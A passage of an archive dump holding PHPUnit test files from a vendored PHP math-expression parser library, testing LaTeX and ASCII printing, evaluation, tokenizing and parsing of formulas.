$this->assertResult('exp(2x)', 'e^{2x}'); $this->assertResult('exp(x/2)', 'e^{x/2}'); $this->assertResult('exp((x+1)/2)', 'e^{(x+1)/2}'); $this->assertResult('exp(-2x)', 'e^{-2x}'); $this->assertResult('exp(-2x+3)', 'e^{-2x+3}'); $this->assertResult('exp(x+y+z)', 'e^{x+y+z}'); $this->assertResult('exp(x^2)', '\exp(x^2)'); $this->assertResult('exp(sin(x))', 'e^{\sin(x)}'); $this->assertResult('exp(sin(x)cos(x))', '\exp(\sin(x)\cdot \cos(x))'); } /** * @test */ public function it_can_print_powers() { $this->assertResult('x^y', 'x^y'); $this->assertResult('x^2', 'x^2'); $this->assertResult('x^(2y)', 'x^{2y}'); $this->assertResult('x^(1/2)', 'x^{1/2}'); $this->assertResult('x^((x+1)/2)', 'x^{(x+1)/2}'); $this->assertResult('x^((y+z)^2/(w+t))', 'x^{(y+z)^2/(w+t)}'); } public function testCanPrintFactorials() { $this->assertResult('3!', '3!'); $this->assertResult('x!', 'x!'); $this->assertResult('e!', 'e!'); $this->assertResult('(x+y)!', '(x+y)!'); $this->assertResult('(x+2)!', '(x+2)!'); $this->assertResult('sin(x)!', '(\sin(x))!'); $this->assertResult('(3!)!', '(3!)!'); } public function testCanPrintSemiFactorials() { $this->assertResult('3!!', '3!!'); $this->assertResult('x!!', 'x!!'); $this->assertResult('e!!', 'e!!'); $this->assertResult('(x+y)!!', '(x+y)!!'); $this->assertResult('(x+2)!!', '(x+2)!!'); $this->assertResult('sin(x)!!', '(\sin(x))!!'); } public function testCanPrintConstant() { $this->assertResult('pi', '\pi{}'); $this->assertResult('e', 'e'); $node = new ConstantNode('xcv'); $this->expectException(UnknownConstantException::class); $node->accept($this->printer); } } modules/formulas/vendor/mossadal/math-parser/tests/MathParser/Interpreting/ASCIIPrinterTest.php000064400000012630147600365160027030 0ustar00parser = new RationalMathParser(); $this->printer = new ASCIIPrinter(); } private function assertResult($input, $output) { $node = $this->parser->parse($input); $result = $node->accept($this->printer); $this->assertEquals($result, $output); } public function testCanPrintVariable() { $this->assertResult('x', 'x'); } public function testCanPrintNumber() { $this->assertResult('4', '4'); $this->assertResult('-2', '-2'); $this->assertResult('1.5', '1.5'); $this->assertResult('2/3', '2/3'); $this->assertResult('4/6', '2/3'); $this->assertResult('-1/2', '-1/2'); $this->assertResult('4/2', '2'); $this->assertResult('1/2+1/2', '1'); $this->assertResult('1/(-2)+1/2', '0'); } public function testCanPrintUnaryMinus() { $this->assertResult('-x', '-x'); $this->assertResult('1+(-x)', '1+(-x)'); $this->assertResult('1+(-2)', '-1'); $this->assertResult('(-1)^k', '(-1)^k'); $this->assertResult('(-1/2)^k', '(-1/2)^k'); $this->assertResult('-(x-1)', '-(x-1)'); } public function testCanPrintAddition() { $this->assertResult('x+1', 'x+1'); $this->assertResult('x+y', 'x+y'); $this->assertResult('x+y+z', 'x+y+z'); $this->assertResult('x+y-z', 'x+y-z'); $this->assertResult('x-y-z', 'x-y-z'); $this->assertResult('x-y+z', 'x-y+z'); $this->assertResult('-x-y-z', '-x-y-z'); $this->assertResult('x+(-y)', 'x+(-y)'); $this->assertResult('x+y+z', 'x+y+z'); $this->assertResult('1+2x+3x^2', '1+2*x+3*x^2'); $this->assertResult('1-(-1)*x', '1-(-1)*x'); $this->assertResult('1-(-1)*x', '1-(-1)*x'); $this->assertResult('x*(-1)+(-2)*(-x)', 'x*(-1)+(-2)*(-x)'); $this->assertResult('x*(-1)-(-2)*(-x)', 'x*(-1)-(-2)*(-x)'); } public function testCanPrintDivision() { $this->assertResult('x/y', 'x/y'); $this->assertResult('x/(y+z)', 'x/(y+z)'); $this->assertResult('(x+y)/(y+z)', '(x+y)/(y+z)'); $this->assertResult('(x+sin(x))/2', '(x+sin(x))/2'); } public function testCanPrintMultiplication() { $this->assertResult('sin(x)*x', 'sin(x)*x'); $this->assertResult('2(x+4)', '2*(x+4)'); $this->assertResult('(x+1)(x+2)', '(x+1)*(x+2)'); } public function testCanPrintExponentiation() { $this->assertResult('x^2', 'x^2'); $this->assertResult('x^(2/3)', 'x^(2/3)'); $this->assertResult('(1/2)^k', '(1/2)^k'); $this->assertResult('x^(y+z)', 'x^(y+z)'); $this->assertResult('x^(y+z)', 'x^(y+z)'); $this->assertResult('x^y^z', 'x^y^z'); $this->assertResult('(x^y)^z', 'x^(y*z)'); $this->parser->setSimplifying(false); $this->assertResult('x^y^z', 'x^y^z'); $this->assertResult('(x^y)^z', '(x^y)^z'); $this->parser->setSimplifying(true); } public function testCanPrintMultiplicationDivision() { $this->assertResult('x*y/z', 'x*y/z'); $this->assertResult('x/y*z', 'x/y*z'); $this->assertResult('x*y/(z*w)', 'x*y/(z*w)'); $this->assertResult('x*y/(z+w)', 'x*y/(z+w)'); $this->assertResult('x*y/(z-w)', 'x*y/(z-w)'); $this->assertResult('(x+y)/(z-w)', '(x+y)/(z-w)'); $this->assertResult('x*y/(z^w)', 'x*y/z^w'); } public function testCanPrintFunctions() { $this->assertResult('sin(x)', 'sin(x)'); $this->assertResult('(2+sin(x))/(1-1/2)', '(2+sin(x))/(1/2)'); $this->assertResult('cos(x)', 'cos(x)'); $this->assertResult('tan(x)', 'tan(x)'); $this->assertResult('exp(x)', 'exp(x)'); $this->assertResult('log(x)', 'log(x)'); $this->assertResult('log(2+x)', 'log(2+x)'); $this->assertResult('ln(x)', 'ln(x)'); $this->assertResult('ln(2+x)', 'ln(2+x)'); $this->assertResult('sqrt(x)', 'sqrt(x)'); $this->assertResult('sqrt(x^2)', 'sqrt(x^2)'); $this->assertResult('asin(x)', 'arcsin(x)'); } public function testCanPrintFactorials() { $this->assertResult('3!', '3!'); $this->assertResult('x!', 'x!'); $this->assertResult('e!', 'e!'); $this->assertResult('(x+y)!', '(x+y)!'); $this->assertResult('(x+2)!', '(x+2)!'); $this->assertResult('sin(x)!', '(sin(x))!'); $this->assertResult('(3!)!', '(3!)!'); } public function testCanPrintSemiFactorials() { $this->assertResult('3!!', '3!!'); $this->assertResult('x!!', 'x!!'); $this->assertResult('e!!', 'e!!'); $this->assertResult('(x+y)!!', '(x+y)!!'); $this->assertResult('(x+2)!!', '(x+2)!!'); $this->assertResult('sin(x)!!', '(sin(x))!!'); } public function testCanPrintConstant() { $this->assertResult('pi', 'pi'); $this->assertResult('e', 'e'); $node = new ConstantNode('xcv'); $this->expectException(UnknownConstantException::class); $node->accept($this->printer); } } modules/formulas/vendor/mossadal/math-parser/tests/MathParser/Interpreting/EvaluatorTest.php000064400000025270147600365160026602 0ustar00parser = new StdMathParser(); $this->rparser = new RationalMathParser(); $this->variables = ['x' => '0.7', 'y' => '2.1', 'i' => '5']; $this->evaluator = new Evaluator($this->variables); } private function evaluate($f) { $this->evaluator->setVariables($this->variables); return $f->accept($this->evaluator); } private function compute($f) { return $this->evaluate($this->parser->parse($f)); } private function assertResult($f, $x) { $value = $this->evaluate($this->parser->parse($f)); $this->assertEquals($value, $x); } private function assertApproximateResult($f, $x) { $value = $this->evaluate($this->parser->parse($f)); $this->assertEquals($value, $x, '', 1e-7); } private function assert_NAN($f) { $value = $this->evaluate($this->parser->parse($f)); $this->assertNan($value); } public function testCanEvaluateNumber() { $this->assertResult('3', 3); $this->assertResult('-2', -2); $this->assertResult('3.0', 3.0); $node = $this->rparser->parse('1/2'); $this->assertEquals($this->evaluate($node), 0.5); } public function testCanEvaluateConstant() { $this->assertResult('pi', pi()); $this->assertResult('e', exp(1)); $f = new ConstantNode('sdf'); $this->expectException(UnknownConstantException::class); $value = $this->evaluate($f); } public function testCanEvaluateVariable() { $this->assertResult('x', $this->variables['x']); $this->assertResult('i^2', pow($this->variables['i'], 2)); $this->expectException(UnknownVariableException::class); $f = $this->parser->parse("q"); $value = $this->evaluate($f); } public function testCanEvaluateAdditiion() { $x = $this->variables['x']; $this->assertResult('3+x', 3 + $x); $this->assertResult('3+x+1', 3 + $x + 1); } public function testCanEvaluateSubtraction() { $x = $this->variables['x']; $this->assertResult('3-x', 3 - $x); $this->assertResult('3-x-1', 3 - $x - 1); } public function testCanEvaluateUnaryMinus() { $this->assertResult('-x', -$this->variables['x']); } public function testCanEvaluateMultiplication() { $x = $this->variables['x']; $this->assertResult('3*x', 3 * $x); $this->assertResult('3*x*2', 3 * $x * 2); } public function testCanEvaluateDivision() { $x = $this->variables['x']; $this->assertResult('3/x', 3 / $x); $this->assertResult('20/x/5', 20 / $x / 5); } public function testCannotDivideByZero() { $f = new ExpressionNode(3, '/', 0); $this->expectException(DivisionByZeroException::class); $value = $this->evaluate($f); } public function testCanEvaluateExponentiation() { $x = $this->variables['x']; $this->assertResult('x^3', pow($x, 3)); $this->assertResult('x^x^x', pow($x, pow($x, $x))); $this->assertResult('(-1)^(-1)', -1); } public function testCantRaise0To0() { $this->expectException(DivisionByZeroException::class); $this->assertResult('0^0', 1); } public function testExponentiationExceptions() { $f = $this->parser->parse('0^(-1)'); $value = $this->evaluate($f); $this->assertTrue(is_infinite($value)); $f = $this->parser->parse('(-1)^(1/2)'); $value = $this->evaluate($f); $this->assertTrue(is_nan($value)); } public function testCanEvaluateSine() { $this->assertResult('sin(pi)', 0); $this->assertResult('sin(pi/2)', 1); $this->assertResult('sin(pi/6)', 0.5); $this->assertResult('sin(x)', sin($this->variables['x'])); } public function testCanEvaluateCosine() { $this->assertResult('cos(pi)', -1); $this->assertResult('cos(pi/2)', 0); $this->assertResult('cos(pi/3)', 0.5); $this->assertResult('cos(x)', cos($this->variables['x'])); } public function testCanEvaluateTangent() { $this->assertResult('tan(pi)', 0); $this->assertResult('tan(pi/4)', 1); $this->assertResult('tan(x)', tan($this->variables['x'])); } public function testCanEvaluateCotangent() { $this->assertResult('cot(pi/2)', 0); $this->assertResult('cot(pi/4)', 1); $this->assertResult('cot(x)', 1 / tan($this->variables['x'])); } public function testCanEvaluateArcsin() { $this->assertResult('arcsin(1)', pi() / 2); $this->assertResult('arcsin(1/2)', pi() / 6); $this->assertResult('arcsin(x)', asin($this->variables['x'])); $f = $this->parser->parse('arcsin(2)'); $value = $this->evaluate($f); $this->assertNaN($value); } public function testCanEvaluateArccos() { $this->assertResult('arccos(0)', pi() / 2); $this->assertResult('arccos(1/2)', pi() / 3); $this->assertResult('arccos(x)', acos($this->variables['x'])); $f = $this->parser->parse('arccos(2)'); $value = $this->evaluate($f); $this->assertNaN($value); } public function testCanEvaluateArctan() { $this->assertResult('arctan(1)', pi() / 4); $this->assertResult('arctan(x)', atan($this->variables['x'])); } public function testCanEvaluateArccot() { $this->assertResult('arccot(1)', pi() / 4); $this->assertResult('arccot(x)', pi() / 2 - atan($this->variables['x'])); } public function testCanEvaluateExp() { $this->assertResult('exp(x)', exp($this->variables['x'])); } public function testCanEvaluateLog() { $this->assertResult('log(x)', log($this->variables['x'])); $f = $this->parser->parse('log(-1)'); $value = $this->evaluate($f); $this->assertNaN($value); } public function testCanEvaluateLn() { $this->assertResult('ln(x)', log($this->variables['x'])); $f = $this->parser->parse('ln(-1)'); $value = $this->evaluate($f); $this->assertNaN($value); } public function testCanEvaluateLog10() { $this->assertResult('log10(x)', log($this->variables['x']) / log(10)); } public function testCanEvaluateFactorial() { $this->assertResult('0!', 1); $this->assertResult('3!', 6); $this->assertResult('(3!)!', 720); $this->assertResult('5!/(2!3!)', 10); $this->assertResult('5!!', 15); $this->assertApproximateResult('4.12124!', 28.85455491); } public function testCanEvaluateSqrt() { $this->assertResult('sqrt(x)', sqrt($this->variables['x'])); $f = $this->parser->parse('sqrt(-2)'); $value = $this->evaluate($f); $this->assertNaN($value); } public function testCanEvaluateHyperbolicFunctions() { $x = $this->variables['x']; $this->assertResult('sinh(0)', 0); $this->assertResult('sinh(x)', sinh($x)); $this->assertResult('cosh(0)', 1); $this->assertResult('cosh(x)', cosh($x)); $this->assertResult('tanh(0)', 0); $this->assertResult('tanh(x)', tanh($x)); $this->assertResult('coth(x)', 1 / tanh($x)); $this->assertResult('arsinh(0)', 0); $this->assertResult('arsinh(x)', asinh($x)); $this->assertResult('arcosh(1)', 0); $this->assertResult('arcosh(3)', acosh(3)); $this->assertResult('artanh(0)', 0); $this->assertResult('artanh(x)', atanh($x)); $this->assertResult('arcoth(3)', atanh(1 / 3)); } public function testCannotEvalauateUnknownFunction() { $f = new FunctionNode('sdf', new NumberNode(1)); $this->expectException(UnknownFunctionException::class); $value = $this->evaluate($f); } public function testCannotEvaluateUnknownOperator() { $node = new ExpressionNode(new NumberNode(1), '+', new VariableNode('x')); // We need to cheat here, since the ExpressionNode contructor already // throws an UnknownOperatorException when called with, say '%' $node->setOperator('%'); $this->expectException(UnknownOperatorException::class); $this->evaluate($node); } public function testCanCreateTemporaryUnaryMinusNode() { $node = new ExpressionNode(null, '~', null); $this->assertEquals($node->getOperator(), '~'); $this->assertNull($node->getRight()); $this->assertNull($node->getLeft()); $this->assertEquals($node->getPrecedence(), 25); } public function testUnknownException() { $this->expectException(UnknownOperatorException::class); $node = new ExpressionNode(null, '%', null); } public function testEdgeCases() { $x = $this->variables['x']; $this->assertResult('0*log(0)', 0); $this->parser->setSimplifying(false); $this->assert_NAN('0*log(0)'); $this->assertResult('0^0', 1); } public function testCanComputeExponentialsTwoWays() { $this->assertEquals($this->compute('exp(1)'), $this->compute('e')); $this->assertEquals($this->compute('exp(2)'), $this->compute('e^2')); $this->assertEquals($this->compute('exp(-1)'), $this->compute('e^(-1)')); $this->assertEquals($this->compute('exp(8)'), $this->compute('e^8')); $this->assertEquals($this->compute('exp(22)'), $this->compute('e^22')); } public function testCanComputeSpecialValues() { $this->assert_NAN('cot(0)'); $this->assert_NAN('cotd(0)'); $this->assert_NAN('coth(0)'); } public function testCanComputeRoundingFunctions() { $this->assertResult('ceil(1+2.3)', 4); $this->assertResult('floor(2*2.3)', 4); $this->assertResult('ceil(2*2.3)', 5); $this->assertResult('round(2*2.3)', 5); } } modules/formulas/vendor/mossadal/math-parser/tests/MathParser/Lexing/TokenDefinitionTest.php000064400000001577147600365160026511 0ustar00tokenDefinition = new TokenDefinition('/\d+/', TokenType::PosInt); } public function testMatchReturnsTokenObjectIfMatchedInput() { $token = $this->tokenDefinition->match('123'); $this->assertInstanceOf('MathParser\Lexing\Token', $token); $this->assertEquals('123', $token->getValue()); $this->assertEquals(TokenType::PosInt, $token->getType()); } public function testNoMatchReturnsNull() { $this->assertNull($this->tokenDefinition->match('@')); } public function testMatchReturnsNullIfOffsetNotZero() { $this->assertNull($this->tokenDefinition->match('@123')); } } modules/formulas/vendor/mossadal/math-parser/tests/MathParser/Lexing/StdMathLexerTest.php000064400000016424147600365160025761 0ustar00lexer = $lexer; } public function testCanTokenizeNumber() { $tokens = $this->lexer->tokenize('325'); $this->assertTokenEquals('325', TokenType::PosInt, $tokens[0]); $tokens = $this->lexer->tokenize('-5'); $this->assertCount(2, $tokens); $this->assertTokenEquals('-', TokenType::SubtractionOperator, $tokens[0]); $this->assertTokenEquals('5', TokenType::PosInt, $tokens[1]); $tokens = $this->lexer->tokenize('2.3'); $this->assertTokenEquals('2.3', TokenType::RealNumber, $tokens[0]); $tokens = $this->lexer->tokenize('2.3e+3'); $this->assertTokenEquals('2.3e+3', TokenType::RealNumber, $tokens[0]); $tokens = $this->lexer->tokenize('2.3e4'); $this->assertTokenEquals('2.3e4', TokenType::RealNumber, $tokens[0]); $tokens = $this->lexer->tokenize('2.3e-2'); $this->assertTokenEquals('2.3e-2', TokenType::RealNumber, $tokens[0]); $tokens = $this->lexer->tokenize('-2.3'); $this->assertCount(2, $tokens); $this->assertTokenEquals('-', TokenType::SubtractionOperator, $tokens[0]); $this->assertTokenEquals('2.3', TokenType::RealNumber, $tokens[1]); $tokens = $this->lexer->tokenize('-2.3e1'); $this->assertCount(2, $tokens); $this->assertTokenEquals('-', TokenType::SubtractionOperator, $tokens[0]); $this->assertTokenEquals('2.3e1', TokenType::RealNumber, $tokens[1]); } public function testCanTokenizeOperator() { $tokens = $this->lexer->tokenize('+'); $t = $tokens[0]; $this->assertTokenEquals('+', TokenType::AdditionOperator, $t); } public function testCanTokenizeNumbersAndOperators() { $tokens = $this->lexer->tokenize('3+5'); $this->assertCount(3, $tokens); $this->assertTokenEquals('3', TokenType::PosInt, $tokens[0]); $this->assertTokenEquals('+', TokenType::AdditionOperator, $tokens[1]); $this->assertTokenEquals('5', TokenType::PosInt, $tokens[2]); } public function testExceptionIsThrownOnUnknownToken() { $this->expectException(UnknownTokenException::class); $this->lexer->tokenize('@'); } private function assertTokenEquals($value, $type, Token $token) { $this->assertEquals($value, $token->getValue()); $this->assertEquals($type, $token->getType()); } public function testIdentifierTokens() { $tokens = $this->lexer->tokenize('xy'); $this->assertEquals(count($tokens), 2); $this->assertTokenEquals('x', TokenType::Identifier, $tokens[0]); $this->assertTokenEquals('y', TokenType::Identifier, $tokens[1]); $tokens = $this->lexer->tokenize('xsinx'); $this->assertEquals(count($tokens), 3); $this->assertTokenEquals('x', TokenType::Identifier, $tokens[0]); $this->assertTokenEquals('sin', TokenType::FunctionName, $tokens[1]); $this->assertTokenEquals('x', TokenType::Identifier, $tokens[2]); $tokens = $this->lexer->tokenize('xsix'); $this->assertEquals(count($tokens), 4); $this->assertTokenEquals('x', TokenType::Identifier, $tokens[0]); $this->assertTokenEquals('s', TokenType::Identifier, $tokens[1]); $this->assertTokenEquals('i', TokenType::Identifier, $tokens[2]); $this->assertTokenEquals('x', TokenType::Identifier, $tokens[3]); $tokens = $this->lexer->tokenize('asin'); $this->assertEquals(count($tokens), 1); $this->assertTokenEquals('arcsin', TokenType::FunctionName, $tokens[0]); $tokens = $this->lexer->tokenize('a sin'); $this->assertEquals(count($tokens), 3); $this->assertTokenEquals('a', TokenType::Identifier, $tokens[0]); $this->assertTokenEquals(' ', TokenType::Whitespace, $tokens[1]); $this->assertTokenEquals('sin', TokenType::FunctionName, $tokens[2]); } public function testParenthesisTokens() { $tokens = $this->lexer->tokenize('(()'); $this->assertEquals(count($tokens), 3); $this->assertTokenEquals('(', TokenType::OpenParenthesis, $tokens[0]); $this->assertTokenEquals('(', TokenType::OpenParenthesis, $tokens[1]); $this->assertTokenEquals(')', TokenType::CloseParenthesis, $tokens[2]); $tokens = $this->lexer->tokenize('(x+1)'); $this->assertEquals(count($tokens), 5); $this->assertTokenEquals('(', TokenType::OpenParenthesis, $tokens[0]); $this->assertTokenEquals('x', TokenType::Identifier, $tokens[1]); $this->assertTokenEquals('+', TokenType::AdditionOperator, $tokens[2]); $this->assertTokenEquals('1', TokenType::PosInt, $tokens[3]); $this->assertTokenEquals(')', TokenType::CloseParenthesis, $tokens[4]); } public function testWhitepsace() { $tokens = $this->lexer->tokenize(" x\t+\n "); $this->assertEquals(count($tokens), 6); $this->assertTokenEquals(' ', TokenType::Whitespace, $tokens[0]); $this->assertTokenEquals('x', TokenType::Identifier, $tokens[1]); $this->assertTokenEquals("\t", TokenType::Whitespace, $tokens[2]); $this->assertTokenEquals("+", TokenType::AdditionOperator, $tokens[3]); $this->assertTokenEquals("\n", TokenType::Terminator, $tokens[4]); $this->assertTokenEquals(' ', TokenType::Whitespace, $tokens[5]); } public function testArcsin() { $tokens = $this->lexer->tokenize("asin"); $this->assertTokenEquals('arcsin', TokenType::FunctionName, $tokens[0]); $tokens = $this->lexer->tokenize("arcsin"); $this->assertTokenEquals('arcsin', TokenType::FunctionName, $tokens[0]); $tokens = $this->lexer->tokenize("asin(x)"); $this->assertTokenEquals('arcsin', TokenType::FunctionName, $tokens[0]); $this->assertTokenEquals('(', TokenType::OpenParenthesis, $tokens[1]); $this->assertTokenEquals('x', TokenType::Identifier, $tokens[2]); $this->assertTokenEquals(')', TokenType::CloseParenthesis, $tokens[3]); $tokens = $this->lexer->tokenize("arcsin(x)"); $this->assertTokenEquals('arcsin', TokenType::FunctionName, $tokens[0]); $this->assertTokenEquals('(', TokenType::OpenParenthesis, $tokens[1]); $this->assertTokenEquals('x', TokenType::Identifier, $tokens[2]); $this->assertTokenEquals(')', TokenType::CloseParenthesis, $tokens[3]); } public function testArccos() { $tokens = $this->lexer->tokenize("acos"); $this->assertTokenEquals('arccos', TokenType::FunctionName, $tokens[0]); $tokens = $this->lexer->tokenize("arccos"); $this->assertTokenEquals('arccos', TokenType::FunctionName, $tokens[0]); } public function testArctan() { $tokens = $this->lexer->tokenize("atan"); $this->assertTokenEquals('arctan', TokenType::FunctionName, $tokens[0]); $tokens = $this->lexer->tokenize("arctan"); $this->assertTokenEquals('arctan', TokenType::FunctionName, $tokens[0]); } } modules/formulas/vendor/mossadal/math-parser/tests/MathParser/Lexing/LexerTest.php000064400000003171147600365160024467 0ustar00add(new TokenDefinition('/\d+/', TokenType::PosInt)); $lexer->add(new TokenDefinition('/\+/', TokenType::AdditionOperator)); $this->lexer = $lexer; } public function testCanTokenizeNumber() { $tokens = $this->lexer->tokenize('325'); $this->assertTokenEquals('325', TokenType::PosInt, $tokens[0]); } public function testCanTokenizeOperator() { $tokens = $this->lexer->tokenize('+'); $t = $tokens[0]; $this->assertTokenEquals('+', TokenType::AdditionOperator, $t); } public function testCanTokenizeNumbersAndOperators() { $tokens = $this->lexer->tokenize('3+5'); $this->assertCount(3, $tokens); $this->assertTokenEquals('3', TokenType::PosInt, $tokens[0]); $this->assertTokenEquals('+', TokenType::AdditionOperator, $tokens[1]); $this->assertTokenEquals('5', TokenType::PosInt, $tokens[2]); } public function testExceptionIsThrownOnUnknownToken() { $this->expectException(UnknownTokenException::class); $this->lexer->tokenize('@'); } private function assertTokenEquals($value, $type, Token $token) { $this->assertEquals($value, $token->getValue()); $this->assertEquals($type, $token->getType()); } } modules/formulas/vendor/mossadal/math-parser/tests/MathParser/Lexing/TokenTest.php000064400000001116147600365160024465 0ustar00assertInstanceOf('MathParser\Lexing\Token', $token); } public function testCanPrintToken() { $name = '+'; $type = TokenType::AdditionOperator; $token = new Token($name, $type); $string = $token->__toString(); $this->assertEquals($string, "Token: [$name, $type]"); } } modules/formulas/vendor/mossadal/math-parser/tests/MathParser/Parsing/ComplexMathParserTest.php000064400000024453147600365160027171 0ustar00parser = new ComplexMathParser(); } private function assertNodesEqual($node1, $node2) { $printer = new TreePrinter(); $message = "Node1: " . $node1->accept($printer) . "\nNode 2: " . $node2->accept($printer) . "\n"; $this->assertTrue($node1->compareTo($node2), $message); } private function assertNumberNode($node, $value) { $this->assertInstanceOf('MathParser\Parsing\Nodes\NumberNode', $node); $this->assertEquals($value, $node->getValue()); } private function assertVariableNode($node, $value) { $this->assertInstanceOf('MathParser\Parsing\Nodes\VariableNode', $node); $this->assertEquals($value, $node->getName()); } private function assertCompareNodes($text) { $node1 = $this->parser->parse($text); $node2 = $this->parser->parse($text); $this->assertNodesEqual($node1, $node2); } public function testCanCompareNodes() { $this->assertCompareNodes("3"); $this->assertCompareNodes("x"); $this->assertCompareNodes("x+y"); $this->assertCompareNodes("sin(x)"); $this->assertCompareNodes("(x)"); $this->assertCompareNodes("1+x+y"); } private function assertTokenEquals($value, $type, Token $token) { $this->assertEquals($value, $token->getValue()); $this->assertEquals($type, $token->getType()); } public function testCanGetTokenList() { $node = $this->parser->parse("x+y"); $tokens = $this->parser->getTokenList(); $this->assertTokenEquals("x", TokenType::Identifier, $tokens[0]); $this->assertTokenEquals("+", TokenType::AdditionOperator, $tokens[1]); $this->assertTokenEquals("y", TokenType::Identifier, $tokens[2]); } public function testCanGetTree() { $node = $this->parser->parse("1+x"); $tree = $this->parser->getTree(); $this->assertNodesEqual($node, $tree); } public function testCanParseSingleNumberExpression() { $node = $this->parser->parse("3"); $shouldBe = new IntegerNode(3); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("3.5"); $shouldBe = new NumberNode(3.5); $this->assertNodesEqual($node, $shouldBe); } public function testCanParseSingleVariable() { $node = $this->parser->parse('x'); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse('(x)'); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse('((x))'); $this->assertNodesEqual($node, $shouldBe); } public function testCanParseSingleConstant() { $node = $this->parser->parse('i'); $shouldBe = new ConstantNode('i'); $this->assertNodesEqual($node, $shouldBe); } public function testCanParseBinaryExpression() { $node = $this->parser->parse("x+y"); $shouldBe = new ExpressionNode(new VariableNode('x'), '+', new VariableNode('y')); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x-y"); $shouldBe = new ExpressionNode(new VariableNode('x'), '-', new VariableNode('y')); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x*y"); $shouldBe = new ExpressionNode(new VariableNode('x'), '*', new VariableNode('y')); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x/y"); $shouldBe = new ExpressionNode(new VariableNode('x'), '/', new VariableNode('y')); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x^y"); $shouldBe = new ExpressionNode(new VariableNode('x'), '^', new VariableNode('y')); $this->assertNodesEqual($node, $shouldBe); } public function testCanParseWithCorrectAssociativity() { $node = $this->parser->parse("x+y+z"); $shouldBe = new ExpressionNode( new ExpressionNode(new VariableNode('x'), '+', new VariableNode('y')), '+', new VariableNode('z') ); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x-y-z"); $shouldBe = new ExpressionNode( new ExpressionNode(new VariableNode('x'), '-', new VariableNode('y')), '-', new VariableNode('z') ); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x*y*z"); $shouldBe = new ExpressionNode( new ExpressionNode(new VariableNode('x'), '*', new VariableNode('y')), '*', new VariableNode('z') ); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x/y/z"); $shouldBe = new ExpressionNode( new ExpressionNode(new VariableNode('x'), '/', new VariableNode('y')), '/', new VariableNode('z') ); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x^y^z"); $shouldBe = new ExpressionNode( new VariableNode('x'), '^', new ExpressionNode(new VariableNode('y'), '^', new VariableNode('z')) ); $this->assertNodesEqual($node, $shouldBe); } public function testCanParseWithCorrectPrecedence() { $x = new VariableNode('x'); $y = new VariableNode('y'); $z = new VariableNode('z'); $node = $this->parser->parse("x+y*z"); $factors = new ExpressionNode($y, '*', $z); $shouldBe = new ExpressionNode($x, '+', $factors); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x*y+z"); $factors = new ExpressionNode($x, '*', $y); $shouldBe = new ExpressionNode($factors, '+', $z); $this->assertNodesEqual($node, $shouldBe); } public function testCanParseParentheses() { $node = $this->parser->parse("(x)"); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("((x))"); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("(x+1)"); $shouldBe = $this->parser->parse("x+1"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("(x*y)"); $shouldBe = $this->parser->parse("x*y"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("(x^y)"); $shouldBe = $this->parser->parse("x^y"); $this->assertNodesEqual($node, $shouldBe); } public function testImplicitMultiplication() { $node = $this->parser->parse("2x"); $shouldBe = $this->parser->parse("2*x"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("2xy"); $shouldBe = $this->parser->parse("2*x*y"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("2x^2"); $shouldBe = $this->parser->parse("2*x^2"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("2x^2y"); $shouldBe = $this->parser->parse("2*x^2*y"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("(-x)2"); $shouldBe = $this->parser->parse("(-x)*2"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("x^2y^2"); $shouldBe = $this->parser->parse("x^2*y^2"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("(x+1)(x-1)"); $shouldBe = $this->parser->parse("(x+1)*(x-1)"); $this->assertNodesEqual($node, $shouldBe); } public function testCanParseUnaryOperators() { $node = $this->parser->parse("-x"); $shouldBe = new ExpressionNode(new VariableNode('x'), '-', null); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("+x"); $shouldBe = new VariableNode('x'); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("-x+y"); $shouldBe = new ExpressionNode( new ExpressionNode(new VariableNode('x'), '-', null), '+', new VariableNode('y') ); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("-x*y"); $shouldBe = $this->parser->parse("-(x*y)"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("-x^y"); $shouldBe = $this->parser->parse("-(x^y)"); $this->assertNodesEqual($node, $shouldBe); $node = $this->parser->parse("(-x)^y"); $shouldBe = new ExpressionNode( new ExpressionNode(new VariableNode('x'), '-', null), '^', new VariableNode('y') ); $this->assertNodesEqual($node, $shouldBe); } public function testSyntaxErrorException() { $this->expectException(SyntaxErrorException::class); $this->parser->parse('1+'); } public function testSyntaxErrorException2() { $this->expectException(SyntaxErrorException::class); $this->parser->parse('**3'); } public function testSyntaxErrorException3() { $this->expectException(SyntaxErrorException::class); $this->parser->parse('-'); } public function testParenthesisMismatchException() { $this->expectException(ParenthesisMismatchException::class); $this->parser->parse('1+1)'); $this->expectException(ParenthesisMismatchException::class); $this->parser->parse('(1+1'); } } modules/formulas/vendor/mossadal/math-parser/tests/MathParser/Parsing/RationalMathParserTest.php000064400000063440147600365160027332 0ustar00parser = new RationalMathParser(); $this->factory = new NodeFactory(); } private function assertNodesEqual($node1, $node2) { $printer = new TreePrinter(); $message = "Node1: " . $node1->accept($printer) . "\nNode 2:" . $node2->accept($printer) . "\n"; $this->assertTrue($node1->compareTo($node2), $message); } private function 